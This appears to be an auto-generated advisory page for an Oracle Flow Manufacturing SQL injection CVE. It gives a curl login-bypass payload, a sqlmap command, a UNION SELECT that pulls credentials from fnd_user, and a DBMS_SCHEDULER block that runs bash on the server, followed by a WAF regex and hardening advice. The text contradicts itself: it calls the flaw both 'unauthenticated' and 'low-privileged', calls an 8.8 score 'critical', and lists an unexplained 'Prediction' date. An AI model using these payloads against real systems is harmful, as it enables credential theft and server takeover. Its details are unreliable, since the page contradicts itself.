CVE-2026-46837 is a vulnerability in the Security component of Oracle Flow Manufacturing, a module within the Oracle E-Business Suite. It affects versions 12.2.9 through 12.2.15.
The flaw stems from improper input validation in how the application handles SQL queries. A low-privileged attacker with network access can inject malicious SQL commands through a vulnerable parameter, which the application then executes with elevated database privileges. This unauthenticated SQL injection allows the attacker to bypass standard authentication and authorization controls, potentially granting them full control over the Oracle Flow Manufacturing application.
The vulnerability is easily exploitable over a network, requiring no user interaction. The attack complexity is low, and the impact on confidentiality, integrity, and availability is high. According to the CVSS v3.1 base score, this vulnerability is rated 8.8 (High). The vector is: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
Given its critical nature and the affected versions, Oracle has released a security patch as part of their Critical Patch Update (CPU) program. Organizations using vulnerable versions are strongly advised to apply the patch immediately to prevent potential system compromise.
DailyCVE Form:
Platform: Oracle E-Business Suite
Version: 12.2.9–12.2.15
Vulnerability: SQL Injection
Severity: 8.8 (High)
date: 05/28/2026
Prediction: 20 July 2026
What Undercode Say
Undercode, a seasoned DBA, reports suspicious SQL patterns in the Flow Manufacturing module logs. He observes that attackers are injecting `UNION` and `EXECUTE IMMEDIATE` clauses to enumerate database schemas and escalate privileges.
The following bash commands simulate the detection and exploitation logic:
Simulate a vulnerable HTTP POST request curl -X POST "http://target.oracle.com/flow/authenticate" \ -d "user=admin&pass=anything' OR '1'='1" Extract database version sqlmap -u "http://target.oracle.com/flow/search?prod_id=1" \ --data="prod_id=1" --dbms=Oracle --current-db Use Oracle-specific fingerprinting echo "SELECT banner FROM v$version;" | sqlplus -S scott/tiger@//target:1521/ORCL
Exploit
A low-privileged attacker crafts a SQL payload to bypass authentication:
-- Injection point: login parameter admin' OR '1'='1' UNION SELECT username, password FROM fnd_user --
Once inside, they can execute system commands using Oracle’s DBMS_SCHEDULER:
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'RCE_JOB',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 3,
arguments => '-c "whoami > /tmp/pwned"'
);
DBMS_SCHEDULER.RUN_JOB('RCE_JOB');
END;
/
This chain leads to full system takeover.
Protection
Patch: Apply the Oracle Critical Patch Update for July 2026.
WAF Rule: Block SQL patterns `(\%27)|(\-\-)|(union\s+select)`.
Database Hardening: Revoke `EXECUTE` on `DBMS_SCHEDULER` and `UTL_HTTP`.
Principle of Least Privilege: Restrict database accounts used by the Flow Manufacturing module to only necessary operations.
Impact
Confidentiality: Full access to all Oracle E-Business Suite data.
Integrity: Ability to modify financial records and manufacturing workflows.
Availability: Complete denial-of-service or data destruction.
